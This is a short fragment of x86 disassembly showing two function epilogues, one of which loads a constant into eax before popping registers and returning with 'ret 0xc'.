ret 0xc
mov eax, 0x1000000
pop edi
pop ebp
ret 0xc